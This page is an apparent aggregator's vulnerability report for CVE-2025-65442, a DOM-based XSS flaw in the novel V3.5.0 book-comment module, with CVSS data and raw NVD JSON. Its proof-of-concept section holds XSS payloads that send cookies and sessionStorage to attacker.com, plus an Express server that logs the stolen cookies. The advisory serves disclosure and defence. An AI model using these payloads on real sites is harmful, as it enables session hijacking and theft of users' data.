Security Vulnerability Report
中文
CVE-2025-65442 CVSS 6.1 MEDIUM

CVE-2025-65442

Published: 2025-12-29 15:16:02
Last Modified: 2025-12-31 20:07:14

Description

DOM-based Cross-Site Scripting (XSS) vulnerability in 201206030 novel V3.5.0 allows remote attackers to execute arbitrary JavaScript code or disclose sensitive information (e.g., user session cookies) via a crafted "wvstest" parameter in the URL or malicious script injection into window.localStorage. The vulnerability arises from insufficient validation and encoding of user-controllable data in the book comment module: unfiltered user input is stored in the backend database (book_comment table, commentContent field) and returned via API, then rendered directly into the page DOM via Vue 3's v-html directive without sanitization. Even if modern browsers' built-in XSS filters block pop-up alerts, attackers can use concealed payloads to bypass interception and achieve actual harm.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:xxyopen:novel:3.5.0:*:*:*:*:*:*:* - VULNERABLE
201206030 novel V3.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2025-65442 - DOM-based XSS in novel V3.5.0 // Method 1: Via URL parameter // http://target-site/book/detail?wvstest=<img src=x onerror=this.src='http://attacker.com/steal?c='+document.cookie}> // Method 2: Via book comment injection // POST /api/comment with payload: const maliciousPayload = { bookId: 123, commentContent: '<img src=x onerror="fetch(\"http://attacker.com/log?cookie=\"+document.cookie)\">' }; // Method 3: Via localStorage injection localStorage.setItem('comment', '<script>fetch("http://attacker.com/steal?data="+btoa(JSON.stringify(sessionStorage)))</script>'); // Exploitation script (attacker-controlled server) const express = require('express'); const app = express(); app.get('/steal', (req, res) => { console.log('Stolen cookie:', req.query.cookie); // Log for later use in session hijacking res.send('XSS executed'); });

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65442", "sourceIdentifier": "[email protected]", "published": "2025-12-29T15:16:01.637", "lastModified": "2025-12-31T20:07:14.283", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "DOM-based Cross-Site Scripting (XSS) vulnerability in 201206030 novel V3.5.0 allows remote attackers to execute arbitrary JavaScript code or disclose sensitive information (e.g., user session cookies) via a crafted \"wvstest\" parameter in the URL or malicious script injection into window.localStorage. The vulnerability arises from insufficient validation and encoding of user-controllable data in the book comment module: unfiltered user input is stored in the backend database (book_comment table, commentContent field) and returned via API, then rendered directly into the page DOM via Vue 3's v-html directive without sanitization. Even if modern browsers' built-in XSS filters block pop-up alerts, attackers can use concealed payloads to bypass interception and achieve actual harm."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:xxyopen:novel:3.5.0:*:*:*:*:*:*:*", "matchCriteriaId": "A899EE05-0A1A-4DB1-92F9-F7892B60638F"}]}]}], "references": [{"url": "https://github.com/201206030/novel", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/201206030/novel-front-web", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://github.com/zero-day348/DOM-based-Cross-Site-Scripting-XSS-Vulnerability-in-novel-V3.5.0-CWE-79-", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}